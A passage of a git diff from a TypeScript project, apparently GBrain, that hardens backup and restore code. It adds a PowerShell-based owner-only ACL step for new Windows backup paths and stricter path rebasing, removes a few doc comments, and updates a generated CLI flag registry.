+ $seen[$rule.IdentityReference.Value] = $true
+}
+[Console]::Write('private')
+`;
+
+export async function protectNewBackupPath(path: string, kind: 'directory' | 'file'): Promise<void> {
+ if (process.platform !== 'win32') return;
+ try {
+ assertNoSymlinks(path);
+ const before = lstatSync(path, { bigint: true });
+ if (!before.ino || (kind === 'directory' ? !before.isDirectory() || readdirSync(path).length !== 0 : !before.isFile() || before.size !== 0n || before.nlink !== 1n)) throw new Error('Expected a new empty path with stable identity');
+ const result = await new Promise<string>((resolve, reject) => {
+ let inputFailed = false;
+ const child = execFile(join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe'),
+ ['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand', Buffer.from(protect, 'utf16le').toString('base64')], {
+ env: { ...process.env, GBRAIN_BACKUP_PRIVATE_PATH: path, GBRAIN_BACKUP_PRIVATE_KIND: kind },
+ encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024, windowsHide: true,
+ }, (error, stdout) => error || inputFailed ? reject(error ?? new Error('Private path input failed')) : resolve(stdout));
+ const inputFailure = () => { inputFailed = true; child.kill(); };
+ if (!child.stdin) { inputFailure(); return; }
+ child.stdin.once('error', inputFailure);
+ try { child.stdin.end(); } catch { inputFailure(); }
+ });
+ assertNoSymlinks(path);
+ const after = lstatSync(path, { bigint: true });
+ if (result !== 'private' || before.dev !== after.dev || before.ino !== after.ino
+ || before.birthtimeNs !== after.birthtimeNs
+ || (kind === 'directory' ? readdirSync(path).length !== 0 : after.size !== 0n || after.nlink !== 1n)) throw new Error('Private path verification failed');
+ } catch {
+ throw new AgentInstallError('private_backup_path_unavailable', 'Windows could not establish owner-only backup access (plus SYSTEM). No payload was written to this new path. Use a new private destination on a local filesystem with Windows ACL support, ensure built-in Windows PowerShell is available and permitted, then retry. Existing files and parent permissions were not changed.');
+ }
+}
diff --git a/src/core/backup/quarantine.ts b/src/core/backup/quarantine.ts
index aa1c01dde2..f08ded54ed 100644
--- a/src/core/backup/quarantine.ts
+++ b/src/core/backup/quarantine.ts
@@ -1,8 +1,8 @@
/** Detach restored execution configuration without deleting memory or history. */
import type { BrainEngine } from '../engine.ts';
import { parseSourceConfig } from '../sources-load.ts';
-import { AgentInstallError, confinedPath } from '../agent-install/state.ts';
-import { isAbsolute, relative, resolve, sep } from 'node:path';
+import { AgentInstallError, checkedRelativePath, confinedPath } from '../agent-install/state.ts';
+import { posix, win32 } from 'node:path';
export interface RestoredSource { id: string; local_path: string | null; managed_relative_path: string | null }
export interface RestoreQuarantine {
@@ -11,10 +11,22 @@ export interface RestoreQuarantine {
reconnect: string[];
}
+export function relativeBackupPath(root: string, value: string): string | null {
+ const windows = /^(?:[a-z]:[\\/]|\\\\[^\\]+\\[^\\]+)/i;
+ const paths = windows.test(root) ? win32 : posix;
+ if (!paths.isAbsolute(root) || !paths.isAbsolute(value)
+ || (paths === win32 && !windows.test(value))
+ || [root, value].some(path => /[\x00-\x1f\x7f]/.test(path))
+ || paths.dirname(root) === root
+ || [root, value].some(path => path.split(paths === win32 ? /[\\/]/ : '/').some(p => p === '.' || p === '..'))) return null;
+ const rel = paths.relative(root, value).split(paths.sep).join('/');
+ if (!rel) return '';
+ try { return checkedRelativePath(rel); } catch { return null; }
+}
+
export function rebaseRestorePath(value: string, originalRoot: string, root: string, managedPaths: readonly string[]): string | null {
- if (!isAbsolute(value)) return null;
- const rel = relative(originalRoot, resolve(value));
- if (!rel || rel === '..' || rel.startsWith('..' + sep) || !managedPaths.some(p => rel === p || rel.startsWith(p + '/'))) return null;
+ const rel = relativeBackupPath(originalRoot, value);
+ if (!rel || !managedPaths.some(p => rel === p || rel.startsWith(p + '/'))) return null;
return confinedPath(root, rel);
}
@@ -50,9 +62,15 @@ export async function quarantineRestoredExecution(tx: BrainEngine, options: {
} else {
await tx.executeRaw('UPDATE sources SET local_path = $1 WHERE id = $2', [rebased, row.id]);
}
- if (rebased && source.local_path) {
- await tx.executeRaw(`UPDATE pages SET source_path = $1 || substring(source_path from $2::integer) WHERE source_id = $3 AND (source_path = $4 OR source_path LIKE $5 ESCAPE '!')`,
- [rebased, source.local_path.length + 1, row.id, source.local_path, source.local_path.replace(/[!%_]/g, '!$&') + '/%']);
+ if (rebased && source.local_path && !external) {
+ const pages = await tx.executeRaw<{ id: number; source_path: string }>('SELECT id, source_path FROM pages WHERE source_id = $1 AND source_path IS NOT NULL', [row.id]);
+ let preserved = 0;
+ for (const page of pages) {
+ const rel = relativeBackupPath(source.local_path, page.source_path);
+ if (rel) await tx.executeRaw('UPDATE pages SET source_path = $1 WHERE id = $2', [confinedPath(rebased, rel), page.id]);
+ else if (posix.isAbsolute(page.source_path) || win32.isAbsolute(page.source_path)) preserved++;
+ }
+ if (preserved) inventory.reconnect.push(`Source ${row.id}: ${preserved} legacy absolute page origins were preserved unchanged because they could not be safely rebased; review before syncing. Remembered text is unchanged.`);
}
}
diff --git a/src/core/backup/snapshot.ts b/src/core/backup/snapshot.ts
index cc9d8285be..59a065cf5d 100644
--- a/src/core/backup/snapshot.ts
+++ b/src/core/backup/snapshot.ts
@@ -1,7 +1,7 @@
/** Full PGLite state recovery for managed in-agent installations. Never starts workers. */
import { randomUUID } from 'node:crypto';
import { chmodSync, closeSync, existsSync, fsyncSync, lstatSync, mkdirSync, mkdtempSync, openSync, readdirSync, readFileSync, renameSync, rmSync } from 'node:fs';
-import { basename, dirname, isAbsolute, join, relative, resolve, sep } from 'node:path';
+import { basename, dirname, isAbsolute, join, resolve } from 'node:path';
import { VERSION } from '../../version.ts';
import { PGLiteEngine } from '../pglite-engine.ts';
import { acquireBootstrapLock } from '../bootstrap/lock.ts';
@@ -9,9 +9,10 @@ import { configDir, type GBrainConfig } from '../config.ts';
import { LATEST_VERSION } from '../migrate.ts';
import { AgentInstallError, checkedManagedPaths, checkedRoot, confinedPath, privateWrite, readFileConfigState, readInstallReceipt, syncDirectory, type AgentInstallReceipt } from '../agent-install/state.ts';
import { extractPgliteDump, hashFile, isBackupArchiveFile, readBackupArchive, writeBackupArchive, type ArchiveManifest } from './archive.ts';
-import { quarantineRestoredExecution, type RestoreQuarantine } from './quarantine.ts';
+import { quarantineRestoredExecution, rebaseRestorePath, relativeBackupPath, type RestoreQuarantine } from './quarantine.ts';
import { quarantineSharedSkillRestore, validateSharedSkillRestoreMode, type SharedSkillRestore, type SharedSkillRestoreOptions } from '../shared-skills/restore.ts';
import { isPhysicalRootMetadata } from '../persistence/physical-root-record.ts';
+import { protectNewBackupPath } from './private-path.ts';
interface SourceInventory { id: string; local_path: string | null; managed_relative_path: string | null }
interface BackupMetadata {
@@ -69,11 +70,6 @@ function walkFiles(root: string, relativePath: string, excluded: string[] = []):
return result;
}
-function relativeInside(root: string, path: string): string | null {
- const result = relative(root, resolve(path));
- return result && result !== '..' && !result.startsWith('..' + sep) && !resolve(path).startsWith(root + sep + '.gbrain' + sep) ? result : null;
-}
-
/** Persist restored file contents AND directory entries before the ready receipt. */
function syncRestoredTree(path: string): void {
const stat = lstatSync(path);
@@ -83,7 +79,7 @@ function syncRestoredTree(path: string): void {
return;
}
if (!stat.isFile()) throw new AgentInstallError('unsupported_file', 'Unexpected file type in restored staging.');
- const fd = openSync(path, 'r');
+ const fd = openSync(path, 'r+');
try { fsyncSync(fd); } finally { closeSync(fd); }
}
@@ -115,8 +111,8 @@ export function rebaseManagedConfig(config: GBrainConfig, originalRoot: string,
const leaf = parts[parts.length - 1];
const value = Object.getOwnPropertyDescriptor(parent, leaf)?.value;
if (typeof value !== 'string') continue;
- const rel = isAbsolute(value) ? relativeInside(originalRoot, value) : null;
- if (rel && managedPaths.some(p => rel === p || rel.startsWith(p + '/'))) parent[leaf] = confinedPath(root, rel);
+ const rebased = rebaseRestorePath(value, originalRoot, root, managedPaths);
+ if (rebased) parent[leaf] = rebased;
else {
detached.push(`External configuration path ${parts.join('.')}: ${value}`);
// A local backend with no path silently defaults to /tmp; detach the
@@ -148,13 +144,14 @@ export async function createPgliteBackup(options: { output: string; root?: strin
const engine = new PGLiteEngine();
try {
work = mkdtempSync(join(dirname(output), '.gbrain-backup-')); chmodSync(work, 0o700);
+ await protectNewBackupPath(work, 'directory');
const receipt = readInstallReceipt(root);
// The engine holds its real PGLite writer lock until publication completes.
await engine.connect({ engine: 'pglite', database_path: dbPath });
const rows = await engine.executeRaw<{ id: string; local_path: string | null }>('SELECT id, local_path FROM sources ORDER BY id');
const managedPaths = checkedManagedPaths(root, receipt?.managed_paths ?? []);
const sources: SourceInventory[] = rows.map(row => {
- const rel = row.local_path ? relativeInside(root, row.local_path) : null;
+ const rel = row.local_path ? relativeBackupPath(root, row.local_path) : null;
return { ...row, managed_relative_path: rel && managedPaths.some(p => rel === p || rel.startsWith(p + '/')) ? rel : null };
});
const excludedPaths: string[] = [];
@@ -194,7 +191,7 @@ export async function createPgliteBackup(options: { output: string; root?: strin
'Native harness skills/routines must be reattached and verified; no platform account state is included.',
],
};
- const manifest = writeBackupArchive(output, { ...metadata }, files);
+ const manifest = await writeBackupArchive(output, { ...metadata }, files);
return { archive: output, manifest };
} finally {
try { await engine.disconnect(); } finally {
@@ -208,13 +205,13 @@ function metadataOf(manifest: ArchiveManifest): BackupMetadata {
if (value.kind !== 'gbrain-pglite' || value.classification !== 'sensitive-full-database-state' || typeof value.original_root !== 'string' || !Number.isInteger(value.schema_version) || value.schema_version < 1 || !Array.isArray(value.sources) || !Array.isArray(value.managed_paths) || !Array.isArray(value.credential_references) || !Array.isArray(value.omitted)) {
throw new AgentInstallError('invalid_backup', 'Invalid PGLite backup metadata.');
}
- checkedRoot(value.original_root);
+ if (relativeBackupPath(value.original_root, value.original_root) !== '') throw new AgentInstallError('invalid_backup', 'Invalid archived root.');
if (value.schema_version > LATEST_VERSION) throw new AgentInstallError('newer_backup_schema', 'Upgrade GBrain before restoring this newer database schema.');
- checkedManagedPaths('/restore', value.managed_paths);
+ checkedManagedPaths(null, value.managed_paths);
if ([...value.credential_references, ...value.omitted].some(v => typeof v !== 'string')) throw new AgentInstallError('invalid_backup', 'Invalid backup reconnect inventory.');
for (const source of value.sources) {
if (!source || typeof source.id !== 'string' || (source.local_path !== null && typeof source.local_path !== 'string')) throw new AgentInstallError('invalid_backup', 'Invalid source inventory.');
- if (source.managed_relative_path !== null && (typeof source.managed_relative_path !== 'string' || (!value.managed_paths.includes(source.managed_relative_path) && !value.managed_paths.some(p => source.managed_relative_path!.startsWith(p + '/'))))) throw new AgentInstallError('invalid_backup', 'Source path is outside the managed inventory.');
+ if (source.managed_relative_path !== null && (typeof source.managed_relative_path !== 'string' || !source.local_path || relativeBackupPath(value.original_root, source.local_path) !== source.managed_relative_path || (!value.managed_paths.includes(source.managed_relative_path) && !value.managed_paths.some(p => source.managed_relative_path!.startsWith(p + '/'))))) throw new AgentInstallError('invalid_backup', 'Source path is outside the managed inventory.');
}
if (value.installation && (!['grok-bot', 'muse'].includes(value.installation.harness) || typeof value.installation.source_id !== 'string' || !value.sources.some(s => s.id === value.installation!.source_id))) throw new AgentInstallError('invalid_backup', 'Invalid installer identity in backup.');
return value;
@@ -231,6 +228,7 @@ export async function restorePgliteBackup(options: { archive: string; into: stri
if ((error as NodeJS.ErrnoException).code === 'EEXIST') throw new AgentInstallError('restore_target_exists', 'Restore only into a new, absent root. Existing state is never overwritten.');
throw error;
}
+ await protectNewBackupPath(root, 'directory');
const restoreId = randomUUID();
const receiptPath = join(root, 'restore-receipt.json');
privateWrite(receiptPath, JSON.stringify({ format_version: 1, restore_id: restoreId, state: 'restoring', mode }) + '\n');
diff --git a/src/core/brain-score-recommendations.ts b/src/core/brain-score-recommendations.ts
index 49e971503f..afa81e0e27 100644
--- a/src/core/brain-score-recommendations.ts
+++ b/src/core/brain-score-recommendations.ts
@@ -31,31 +31,11 @@ import { getGatewayAnthropicKeySnapshot } from './ai/anthropic-key.ts';
*/
export const HOSTED_EMBED_KEY_CONFIG: Record<string, string> = {
OPENAI_API_KEY: 'openai_api_key',
- ZEROENTROPY_API_KEY: 'zeroentropy_api_key',
VOYAGE_API_KEY: 'voyage_api_key',
GOOGLE_GENERATIVE_AI_API_KEY: 'google_api_key',
DASHSCOPE_API_KEY: 'dashscope_api_key',
};
-/**
- * v0.40.x: is the configured embedding provider usable for the remediation
- * planner? Recipe-aware:
- * - empty `auth_env.required` (ollama, llama-server, ...) ⇒ local, no hosted
- * key needed ⇒ true.
- * - hosted (openai, zeroentropyai, voyage, google, ...) ⇒ true iff every
- * required key resolves.
- *
- * `resolveKey(envVar)` is supplied by the caller so each producer reads config
- * from its own source (doctor → file plane; autopilot → engine.getConfig).
- * Only the recipe logic is shared, not the config lookup.
- *
- * NOTE: deliberately NOT the same as `gateway.isAvailable('embedding')`.
- * isAvailable returns false for user_provided_models recipes (llama-server,
- * models: []) because it can't validate the model id. For a remediation
- * verdict we WANT true there — local embeddings work. Do not "align" them.
- * Uses the recipe registry (pure data), not the gateway runtime, so this
- * module stays free of AI-SDK coupling and works before engine.connect().
- */
/**
* #3944: chat-key presence for the remediation planner, judged on the planes
* both planner surfaces can rely on — process env, the FILE config plane,
diff --git a/src/core/budget/budget-tracker.ts b/src/core/budget/budget-tracker.ts
index bb30eb8040..7176617a07 100644
--- a/src/core/budget/budget-tracker.ts
+++ b/src/core/budget/budget-tracker.ts
@@ -277,29 +277,6 @@ const FREE_LOCAL_CHAT_PROVIDERS: ReadonlySet<string> = new Set([
'llama-server',
]);
-/**
- * Look up `modelId` in the chat or embedding pricing maps. Returns a
- * per-1M-token price tuple, or null when unknown.
- *
- * Strategy:
- * - Chat: try the bare model id in ANTHROPIC_PRICING first (legacy keys
- * are bare claude-* ids), then the canonical paid-cloud chat table
- * for provider-prefixed OpenAI/Google/DeepSeek/Together ids, then the
- * explicit zero-cost local provider set. Recipe aliases are normalized
- * first (`claude-cli:haiku` → `claude-cli:claude-haiku-4-5-20251001`),
- * so an alias prices exactly like the id it resolves to.
- * - Embed: lookupEmbeddingPrice handles the provider:model form; on a miss,
- * local-inference providers (FREE_LOCAL_EMBED_PROVIDERS) price at $0 so
- * `--max-cost` callers don't hard-fail.
- * - Rerank: try ANTHROPIC_PRICING (legacy path for any Claude-priced
- * rerank); else try lookupEmbeddingPrice — paid rerank providers (e.g.
- * ZeroEntropy's zerank-2) share the same provider:model-keyed,
- * $/1M-token table as their embedding siblings, so it's reused here
- * rather than duplicated into a third table; else if the provider half
- * is in FREE_LOCAL_RERANK_PROVIDERS, return zero pricing so `--max-cost`
- * callers don't TX2 hard-fail on local inference recipes (electricity,
- * not tokens); else unknown.
- */
function lookupPricing(modelId: string, kind: BudgetKind): ModelPricing | null {
if (kind === 'embed') {
const hit = lookupEmbeddingPrice(modelId);
@@ -333,10 +310,6 @@ function lookupPricing(modelId: string, kind: BudgetKind): ModelPricing | null {
const tailHit = ANTHROPIC_PRICING[modelTail];
if (tailHit) return tailHit;
}
- // Paid rerank providers (e.g. ZeroEntropy's zerank-2) aren't Claude-priced,
- // so they miss the ANTHROPIC_PRICING checks above. Reuse the embedding
- // pricing table (issue #3223) — same provider:model key shape, same
- // $/1M-token unit — instead of hand-copying a third pricing surface.
if (kind === 'rerank') {
const hit = lookupEmbeddingPrice(key);
if (hit.kind === 'known') return { input: hit.pricePerMTok, output: 0 };
diff --git a/src/core/capability.ts b/src/core/capability.ts
index 0dce771d38..3f8593bf86 100644
--- a/src/core/capability.ts
+++ b/src/core/capability.ts
@@ -111,7 +111,9 @@ export function detectCapabilities(opts: DetectCapabilitiesOpts = {}): Capabilit
const rawEnv = opts.env ?? process.env;
const env = mergedProviderEnv(cfg, rawEnv);
- const embeddings = probeTouchpoint(
+ const embeddings = cfg?.embedding_disabled || (cfg && !cfg.embedding_model?.trim())
+ ? { available: false }
+ : probeTouchpoint(
cfg?.embedding_model ?? DEFAULT_EMBEDDING_MODEL,
'embedding',
env,
diff --git a/src/core/cli-flag-registry.generated.ts b/src/core/cli-flag-registry.generated.ts
index 275dc5fe2d..8a8c48a795 100644
--- a/src/core/cli-flag-registry.generated.ts
+++ b/src/core/cli-flag-registry.generated.ts
@@ -19,7 +19,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'anomalies': ['--brain', '--help', '--json', '--lookback-days', '--mcp-only', '--sigma', '--since', '--source'],
'apply-migrations': ['--acknowledge-no-backup', '--backup-confirmed', '--brain', '--break-lock', '--confirm-quiesced', '--content-root', '--dry-run', '--export-db-only', '--export-source', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--help', '--host-dir', '--json', '--list', '--locks', '--migrate-only', '--migration', '--mode', '--no-autopilot-install', '--non-interactive', '--require-db', '--skip-verify', '--source', '--yes'],
'auth': ['--admin-intent', '--allowed-operations', '--before', '--bound-brain', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--cleanup-dead-local-locks', '--confirm-quiesced', '--days', '--delegated-namespace', '--delegated-slug-prefixes', '--enable-dcr-insecure', '--expected-epoch', '--expected-state', '--federated-read', '--fix', '--grant-types', '--help', '--id', '--if-version', '--json', '--limit', '--manifest', '--max-concurrent', '--path', '--probe', '--profile', '--redirect-uri', '--repair', '--replace', '--request-id', '--scopes', '--self-transfer', '--shared-skills', '--slug-prefixes', '--source', '--source-ids', '--surface', '--takes-holders', '--token', '--token-endpoint-auth-method', '--token-ttl', '--usage', '--yes'],
- 'autopilot': ['--batch', '--brain', '--check', '--dimensions', '--dir', '--drain', '--embedding-dimensions', '--embedding-model', '--explain', '--ff-only', '--force', '--force-retry', '--from-pages', '--help', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--markdown', '--max-rss', '--max-usd', '--migrate-only', '--no-autopilot-install', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--output', '--path', '--phase', '--refresh-cache', '--repo', '--source', '--status', '--swap-only', '--target', '--to', '--uninstall', '--user', '--version', '--yes'],
+ 'autopilot': ['--batch', '--brain', '--check', '--dimensions', '--dir', '--drain', '--embedding-dimensions', '--embedding-model', '--explain', '--ff-only', '--force', '--force-retry', '--from-pages', '--help', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--markdown', '--max-rss', '--max-usd', '--migrate-only', '--no-autopilot-install', '--no-inject', '--no-worker', '--non-interactive', '--now', '--once', '--output', '--path', '--phase', '--refresh-cache', '--repo', '--source', '--status', '--swap-only', '--target', '--uninstall', '--user', '--version', '--yes'],
'backfill': ['--batch-size', '--brain', '--concurrency', '--dry-run', '--fresh', '--help', '--json', '--keep-index', '--list', '--max-errors', '--max-rows', '--resume', '--source'],
'backup': ['--background', '--brain', '--confirm-authority-reviewed', '--confirm-backup-compatible', '--confirm-quiesced', '--dir', '--explain', '--follow', '--help', '--into', '--json', '--mode', '--output', '--progress-interval', '--progress-json', '--quiet', '--restore-only', '--source', '--timeout'],
'bench': ['--baseline', '--brain', '--force', '--from', '--help', '--json', '--label', '--limit', '--source', '--threshold-jaccard', '--threshold-latency-multiplier', '--threshold-top1', '--to', '--tool'],
@@ -43,15 +43,15 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'connect': ['--agent', '--auto', '--bearer-token-env-var', '--bind', '--brain', '--client-id', '--client-secret', '--credentials-file', '--env', '--force', '--grant-types', '--harness', '--header', '--help', '--http', '--install', '--issuer-url', '--json', '--mcp-only', '--mcp-url', '--name', '--oauth', '--oauth-client-id', '--oauth-client-secret', '--public-url', '--pure', '--register', '--remove', '--root', '--scope', '--scopes', '--show-token', '--source', '--status', '--timeout-ms', '--token', '--token-endpoint-auth-method', '--url', '--version', '--yes'],
'connectors': ['--all', '--background', '--brain', '--cookie', '--dry-run', '--embed', '--explain', '--follow', '--force', '--full', '--help', '--install', '--json', '--limit', '--no-browser', '--progress-interval', '--progress-json', '--quiet', '--source', '--timeout', '--token', '--try-oauth', '--window-days'],
'conversation-parser': ['--brain', '--help', '--json', '--source'],
- 'creds': ['--allow-create-db', '--allow-docker', '--brain', '--chat-model', '--content-root', '--db-only', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--force', '--git', '--grant-types', '--help', '--http', '--ids', '--issuer-url', '--json', '--key', '--local-postgres', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--no-embedding', '--no-git', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--out', '--passphrase-env', '--path', '--pglite', '--prefer-postgres', '--provenance', '--provider', '--schema-pack', '--scopes', '--skip-embed-check', '--source', '--supabase', '--surface', '--to', '--url', '--version'],
+ 'creds': ['--allow-create-db', '--allow-docker', '--brain', '--chat-model', '--content-root', '--db-only', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--force', '--git', '--grant-types', '--help', '--http', '--ids', '--issuer-url', '--json', '--key', '--local-postgres', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--no-embedding', '--no-git', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--out', '--passphrase-env', '--path', '--pglite', '--prefer-postgres', '--provenance', '--provider', '--schema-pack', '--scopes', '--skip-embed-check', '--source', '--status', '--supabase', '--surface', '--to', '--url', '--version'],
'db-repair': ['--apply-rewrites', '--brain', '--break-lock', '--db-url', '--dry-run', '--filter', '--force', '--force-retry', '--format', '--help', '--json', '--locks', '--name', '--path', '--prefer-postgres', '--remediate', '--restart', '--skip-verify', '--source', '--supabase', '--undo-last-rewrite', '--url', '--version', '--yes'],
- 'doctor': ['--abbrev-ref', '--abort', '--all', '--allow-old-serve', '--allow-shell-jobs', '--allow-unverified-remote', '--apply-rewrites', '--auto', '--auto-fix', '--background', '--brain', '--branch', '--break-lock', '--by-mention', '--cached', '--check', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--delete-brain', '--detach', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--explain', '--fast', '--federated-read', '--file', '--fix', '--follow', '--force', '--force-retry', '--force-schema', '--force-sunset-target', '--format', '--fresh', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--harness', '--help', '--home', '--http', '--id', '--ignore-env-override', '--include-flagged', '--include-gitignored', '--include-pseudo', '--index-audit', '--init', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--link-source', '--link-type', '--local', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--mcp-only', '--migrate-only', '--mode', '--multimodal', '--name', '--name-only', '--nice', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-hooks', '--no-migrate', '--no-pull', '--no-verify', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--prefer-postgres', '--preset', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--reauth', '--rebase', '--refresh', '--regenerate', '--reissue', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--restore-only', '--resume', '--retry-failed', '--review-lower', '--scope', '--scopes', '--session', '--set', '--short', '--show-current', '--show-token', '--show-toplevel', '--since', '--skills', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--status', '--strict', '--supabase', '--surface', '--symbol-kind', '--target', '--target-score', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--verbose', '--verify', '--version', '--window', '--workers', '--yes'],
+ 'doctor': ['--abbrev-ref', '--abort', '--all', '--allow-old-serve', '--allow-shell-jobs', '--allow-unverified-remote', '--apply-rewrites', '--auto', '--auto-fix', '--background', '--brain', '--branch', '--break-lock', '--by-mention', '--cached', '--check', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--delete-brain', '--detach', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--explain', '--fast', '--federated-read', '--file', '--fix', '--follow', '--force', '--force-retry', '--force-schema', '--format', '--fresh', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--harness', '--help', '--home', '--http', '--id', '--ignore-env-override', '--include-flagged', '--include-gitignored', '--include-pseudo', '--index-audit', '--init', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--link-source', '--link-type', '--local', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--mcp-only', '--migrate-only', '--mode', '--multimodal', '--name', '--name-only', '--nice', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-hooks', '--no-migrate', '--no-pull', '--no-verify', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--prefer-postgres', '--preset', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--reauth', '--rebase', '--refresh', '--regenerate', '--reissue', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--restore-only', '--resume', '--retry-failed', '--review-lower', '--scope', '--scopes', '--session', '--set', '--short', '--show-current', '--show-token', '--show-toplevel', '--since', '--skills', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--status', '--strict', '--supabase', '--surface', '--symbol-kind', '--target', '--target-score', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--verbose', '--verify', '--version', '--window', '--workers', '--yes'],
'dream': ['--audit-rejects', '--brain', '--cancel-unmatched', '--date', '--dir', '--drain', '--dry-run', '--force', '--force-retry', '--from', '--help', '--input', '--install', '--json', '--limit', '--max-usd', '--once', '--path', '--phase', '--pull', '--reconcile-queue', '--since', '--source', '--source-id', '--threshold', '--to', '--unsafe-bypass-dream-guard', '--window', '--yes'],
'edges-backfill': ['--all-sources', '--brain', '--concurrency', '--help', '--json', '--max-chunks', '--source', '--workers'],
'embed': ['--all', '--background', '--batch-size', '--brain', '--break-lock', '--budget-ms', '--catch-up', '--db-url', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--facts', '--follow', '--force', '--help', '--include-null-signature', '--json', '--max-cost-usd', '--max-facts', '--no-embed', '--no-embedding', '--pace', '--pace-max-concurrency', '--path', '--pglite', '--priority', '--progress-interval', '--progress-json', '--quiet', '--slugs', '--source', '--stale', '--status', '--supabase', '--timeout', '--to', '--yes'],
'engine': ['--apply-rewrites', '--brain', '--break-lock', '--db-url', '--help', '--json', '--path', '--prefer-postgres', '--probe', '--source', '--supabase', '--url', '--yes'],
- 'enrich': ['--access', '--asof', '--background', '--bound-slug-prefixes', '--brain', '--concurrency', '--confirm-destructive', '--date', '--days', '--dry-run', '--embedding-dimensions', '--embedding-model', '--entities', '--explain', '--file', '--follow', '--force', '--full', '--help', '--http', '--image', '--json', '--kind', '--limit', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-usd', '--min-context', '--mode', '--model', '--multimodal', '--once', '--order', '--page', '--path', '--progress-interval', '--progress-json', '--quiet', '--reenrich-after', '--resume', '--session', '--since', '--slug', '--slugs', '--source', '--source-id', '--stats', '--surface', '--thin', '--thin-threshold', '--timeout', '--to', '--trusted-extraction', '--types', '--url', '--workers', '--yes'],
- 'eval': ['--ab-relational', '--against', '--allow-incomplete-judgments', '--allow-mixed-run-config', '--allow-regression', '--asof', '--autocut', '--background', '--baseline', '--batch', '--brain', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--by-type-floor-metric', '--capture-pool', '--committed-baseline', '--compare', '--compare-limit', '--concurrent', '--config-a', '--config-b', '--corpus', '--cycles', '--days', '--dedup-cosine', '--dedup-max-per-page', '--dedup-type-ratio', '--dimensions', '--distance-min', '--embed-cache', '--embedder', '--embedding-dimensions', '--embedding-model', '--expand', '--expansion', '--expansion-replay', '--expansion-variant-budget', '--explain', '--fixtures', '--follow', '--force-rechunk', '--format', '--from-capture', '--from-db', '--gold', '--grounding-min', '--harness', '--help', '--include-abstention', '--include-holdout', '--input', '--json', '--judge', '--judge-concurrency', '--judge-model', '--justification', '--k', '--keyword-only', '--limit', '--llm', '--max-pair-chars', '--max-tokens', '--max-usd', '--mcp-only', '--md', '--metric', '--min-recall', '--mode', '--model', '--models', '--modes', '--name-only', '--no-cache', '--no-embed-cache', '--no-expand', '--no-llm', '--no-trajectory', '--older-than', '--out', '--output', '--output-dir', '--parallel', '--parity-baseline', '--pglite', '--progress-interval', '--progress-json', '--qrels', '--queries-file', '--query', '--question-ids', '--questions', '--quiet', '--receipt-dir', '--record', '--refresh-cache', '--reranker', '--resume-from', '--retrieval-only', '--rrf-k', '--rubric-version', '--runs', '--sample', '--sampling', '--save', '--search-pin', '--seed', '--severity', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--stale', '--strategy', '--suite', '--suites', '--supabase', '--task', '--threshold', '--threshold-expected-top1', '--threshold-first-relevant-hit', '--threshold-jaccard', '--threshold-latency-multiplier', '--threshold-recall-at-k', '--threshold-top1', '--timeout', '--to', '--tool', '--top-k', '--top-regressions', '--until', '--update-baseline', '--usefulness-min', '--verbose', '--verify', '--with-code-intel', '--yes'],
